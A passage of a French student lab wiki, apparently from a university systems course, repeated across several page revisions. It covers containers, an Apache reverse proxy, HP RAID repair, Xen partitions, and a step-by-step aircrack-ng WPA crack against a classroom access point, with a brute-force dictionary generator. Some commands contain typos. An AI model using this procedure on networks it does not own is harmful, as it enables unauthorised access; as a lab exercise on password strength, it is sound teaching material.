Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :

show

IMAGE

Etant donné que nous n'avons pas de données perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.

controller slot=4 array B delete

ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5

La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :

array B show

ctrl slot=4 show config

De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.

Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :

ctrl slot=4 show config

[[fichier:Reconstruction raid.jpg|center|600px]]

=Séance 5 : Mise en place du serveur DNS et crack WPA2=

==Mise en place du serveur DNS==

==Crack de réseau Wifi WPA==
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.

Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :

[[fichier:Ifconfig.png|center]]

Dans notre cas elle s'appelle wlp3s0.

On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :

ifconfig wlp3s0 down

On place la carte en "monitor mode"

airmon-ng start wlp3s0

On peut vérifier que l'interface est bien en monitor mode avec airmon-ng

[[fichier:Airmonng.png|center]]

Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :

airodump-ng mon0

[[fichier:Airodump.png|center]]

De ce scan, nous tirons plusieurs informations :
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.
-Nous notons son BSSID : 04:DA:D2:9C:50:53
-Son channel : 9

Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :

airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0

[[fichier:Handshake2.png|center]]

Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.

La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.

Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :

#include <stdio.h>

int main() {
for(int i=0;i<=99999999;i++) {
printf("%08d\n",i);
}
}

gcc -o dico dico.c
./dico > dico.txt

On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.

Le brute-force peut maintenant commencer :

aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt

Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :

[[fichier:Keyfound.png|center]]

L'image ci dessus nous montre enfin la clé WPA de cracotte04.
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.

==Utilisation de partitions virtuelles==

Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.

On commence par créer les partitions sur cordouan :

lvcreate -L10G -n aphrodite-home virtual
lvcreate -L10G -n aphrodite-var virtual

lvcreate -L10G -n aphrodite-part1 virtual
lvcreate -L10G -n aphrodite-part2 virtual
lvcreate -L10G -n aphrodite-part3 virtual

On ajoute ces partitions dans /etc/xen/aphrodite.cfg :

disk = [
'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',
'phy:/dev/virtual/aphrodite-home,xvdb1,w',
'phy:/dev/virtual/aphrodite-var,xvdc1,w'
'phy:/dev/virtual/aphrodite-part1,xvdd1,w'
'phy:/dev/virtual/aphrodite-part2,xvdd1,w'
'phy:/dev/virtual/aphrodite-part3,xvdd1,w'
]

Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.

Afin que les modifications soient effectives, on reboot la VM.

===Var et Home===

De retour sur la VM, on créé un système de fichiers sur /dev/xvdb1 et /dev/xvdc1 :

mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdc1

Le home de notre VM étant vide, nous pouvons directement monter la nouvelle partition. Pour cela, on se rend dans /etc/fstab, et on modifie le point de montage existant du home :

/dev/xvdb1 /home ext4 defaults 0 2

C'en est tout pour le home, passons au var. La procédure sera légèrement différente dans le sens ou nous souhaitons sauver le contenu de notre var.

Pour cela, nous allons créer un point de montage temporaire de notre nouvelle partition var :

mkdir /mnt_var
mount /dev/xvdc1 /mnt_var

Nous transférons le contenu de notre ancier dossier var dans la nouvelle partition précédemment montée :

cd /var
cp -ax * /mnt_var

Nous faisons ensuite un backup de notre ancien dossier var :

mv /var /var.old

On recrée le point de montage, on démonte le point de montage temporaire et on monte le nouveau var :

mkdir /var
umount /dev/xvdc1
mount /dev/xvdc1 /var

On peut vérifier que tout est ok en lançant un apt-get update et vérifier qu'il n'y a pas de souci.

Ceci étant validé, il nous reste à ajouter la ligne suivante au /etc/fstab pour que le var soit monté à chaque démarrage de la VM :

/dev/xvdc1 /var ext4 defaults 0 0

Pour terminer, après avoir vérifié que tout est en ordre, on fait un peu de ménage :

rm -r /mnt_var
rn -r /var.old

===RAID===

TP sysres IMA5sc 2018/2019 G9

2018-12-15T18:09:26Z

Tcattela : /* Utilisation de partitions virtuelles */

=Séance 1 : TP ASR=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container avec unshare==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/

debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

Et donc :
root@zabeth04:/home/pifou# brctl show
bridge name bridge id STP enabled interfaces
br-d8330a30a134 8000.0242b8ae38c5 no
bridge 8000.00224d7aeaa1 no eth0
eth1
vif4
docker0 8000.0242ad165937 no veth0b1f71b
interne 8000.3ee68d5b1e14 no vif1
vif2
vif3

=Séance 2 : TP ASR (suite)=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===

a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html
service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html
service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

==Création d'un conteneur avec Docker :==
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.

===Création d'une première image :===
Nous avons créé un premier container à l'aide la commande :
docker run -i -t debian /bin/bash
Exporte de la variable d'environement hhtp_proxy :
export http_proxy=http://proxy.polytech-lille.fr:3128/
Instalation d'un éditeur de texte et d'un serveur web :
apt-get install nano vi apache2

===Création de trois conteneurs dans un même réseau :===
Avec un <code>docker ps</code> nous avons recupérer l'id du conteneur puis :
docker commit -m "debian" 367f5e8adddf
Création d'un réseau :
docker network create tham
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine :
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash
Et donc :
root@zabeth04:/home/pifou# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8e4a821cf3a3 b7f9916f224e "/bin/bash" 18 minutes ago Up 18 minutes confident_leakey
c5ec790866ae b7f9916f224e "/bin/bash" 19 minutes ago Up 19 minutes objective_golick
b287061163af b7f9916f224e "/bin/bash" 22 minutes ago Up 22 minutes 0.0.0.0:80->80/tcp objective_bhabha
8ee36885e7fb registry:2 "/entrypoint.sh /etc…" 5 weeks ago Up 38 minutes 0.0.0.0:5000->5000/tcp registry

===Configuration de apache2 :===
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique
Puis dans <code>/etc/apache2/sites-available/</code> :

root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf
<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

=Séance 3 : TP PRA=
Le sujet choisi ici est le sujet n°10 : HP + DAS -> Baie.
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.

==Le matériel==
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :

XX
XX

Le SAS est un HP StorageWorks MSA60.
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.

Sur le panneau arrière nous constatons qu'il y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)

==Mise en route du serveur==
Lors de la mise en route du serveur, nous constations trois problèmes :
-Les ventilateurs tournent à 100% sans arrêt.
-La LED internal health clignote rouge.
-Un bip long est émis périodiquement.

De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.

Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.

Une fois remonté, le serveur bootait correctement.

==Installation de Devuan==
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.

Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.

Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).

==Configurations réseau==
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.

Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :

nano /etc/network/interfaces

Pour l'interface eth0 :

address 127.26.145.146/24
gateway 192.26.145.253

Ensuite, nous avons configuré les DNS :

nano /etc/resolv.conf

domain polytech-lille.org
search deule.net
nameserver 192.48.57.48
nameserver 193.48.57.33

Et enfin nous avons ajouté le proxy polytech :

nano ~/.profile

export http_proxy=http://proxy.polytech-lille.fr:3128

Une fois fait, notre serveur avait accès au réseau de polytech.

==Mise en route du DAS==
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.

IMAGE

Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.

Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.

De retour sur devuan, la grappe est visible via lsblk.

==Installation des outils HP==
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.

L'installation se fait via les étapes suivantes :

Ajout du dépôt :

nano /etc/apt/sources.list

deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free
deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free

Ajout des clés :

curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -

Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :

nano /etc/apt/sources.list

deb http://deb.devuan.org/merged ascii main
deb-src http://deb.devuan.org/merged ascii main

Rafraîchir les sources :

apt-get update

Installer curl :

apt-get install curl

Réessayer d'ajouter les clés.

Une fois fait, on eut procéder à l'installation des outils HP :

apt-get install hp-health ssacli

=Séance 4 : TP PRA (Suite)=
Dans un premier temps, nous commençons par remplacer les disques défectueux.
Grâce à la commande

ssacli ctrl all show config detail

nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).

Nous procédons au remplacement par des disques neufs.

Une fois fait, nous ajoutons le disque 6 qui était manquant.

Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.

On entre dans le programme ssacli et on fait un premier était des lieux :

ctrl all show config

Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.

On liste ensuite les disques physiques :

ctrl slot 4 pd all show

Notre disque a ajouter est le 1E:1:6

On l'ajoute alors a la grappe B :

array B add drives=1E:1:6

Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :

show

IMAGE

Etant donné que nous n'avons pas de données perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.

controller slot=4 array B delete

ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5

La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :

array B show

ctrl slot=4 show config

De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.

Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :

ctrl slot=4 show config

[[fichier:Reconstruction raid.jpg|center|600px]]

=Séance 5 : Mise en place du serveur DNS et crack WPA2=

==Mise en place du serveur DNS==

==Crack de réseau Wifi WPA==
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.

Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :

[[fichier:Ifconfig.png|center]]

Dans notre cas elle s'appelle wlp3s0.

On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :

ifconfig wlp3s0 down

On place la carte en "monitor mode"

airmon-ng start wlp3s0

On peut vérifier que l'interface est bien en monitor mode avec airmon-ng

[[fichier:Airmonng.png|center]]

Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :

airodump-ng mon0

[[fichier:Airodump.png|center]]

De ce scan, nous tirons plusieurs informations :
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.
-Nous notons son BSSID : 04:DA:D2:9C:50:53
-Son channel : 9

Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :

airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0

[[fichier:Handshake2.png|center]]

Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.

La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.

Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :

#include <stdio.h>

int main() {
for(int i=0;i<=99999999;i++) {
printf("%08d\n",i);
}
}

gcc -o dico dico.c
./dico > dico.txt

On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.

Le brute-force peut maintenant commencer :

aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt

Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :

[[fichier:Keyfound.png|center]]

L'image ci dessus nous montre enfin la clé WPA de cracotte04.
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.

==Utilisation de partitions virtuelles==

Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.

On commence par créer les partitions sur cordouan :

lvcreate -L10G -n aphrodite-home virtual
lvcreate -L10G -n aphrodite-var virtual

lvcreate -L10G -n aphrodite-part1 virtual
lvcreate -L10G -n aphrodite-part2 virtual
lvcreate -L10G -n aphrodite-part3 virtual

On ajoute ces partitions dans /etc/xen/aphrodite.cfg :

disk = [
'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',
'phy:/dev/virtual/aphrodite-home,xvdb1,w',
'phy:/dev/virtual/aphrodite-var,xvdc1,w'
'phy:/dev/virtual/aphrodite-part1,xvdd1,w'
'phy:/dev/virtual/aphrodite-part2,xvdd1,w'
'phy:/dev/virtual/aphrodite-part3,xvdd1,w'
]

Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.

Afin que les modifications soient effectives, on reboot la VM.

===Var et Home===

===RAID===

TP sysres IMA5sc 2018/2019 G9

2018-12-11T14:51:14Z

Tcattela : /* Utilisation de partitions virtuelles */

=Séance 1 : TP ASR=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container avec unshare==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/

debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

Et donc :
root@zabeth04:/home/pifou# brctl show
bridge name bridge id STP enabled interfaces
br-d8330a30a134 8000.0242b8ae38c5 no
bridge 8000.00224d7aeaa1 no eth0
eth1
vif4
docker0 8000.0242ad165937 no veth0b1f71b
interne 8000.3ee68d5b1e14 no vif1
vif2
vif3

=Séance 2 : TP ASR (suite)=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===

a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html
service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html
service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

==Création d'un conteneur avec Docker :==
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.

===Création d'une première image :===
Nous avons créé un premier container à l'aide la commande :
docker run -i -t debian /bin/bash
Exporte de la variable d'environement hhtp_proxy :
export http_proxy=http://proxy.polytech-lille.fr:3128/
Instalation d'un éditeur de texte et d'un serveur web :
apt-get install nano vi apache2

===Création de trois conteneurs dans un même réseau :===
Avec un <code>docker ps</code> nous avons recupérer l'id du conteneur puis :
docker commit -m "debian" 367f5e8adddf
Création d'un réseau :
docker network create tham
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine :
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash
Et donc :
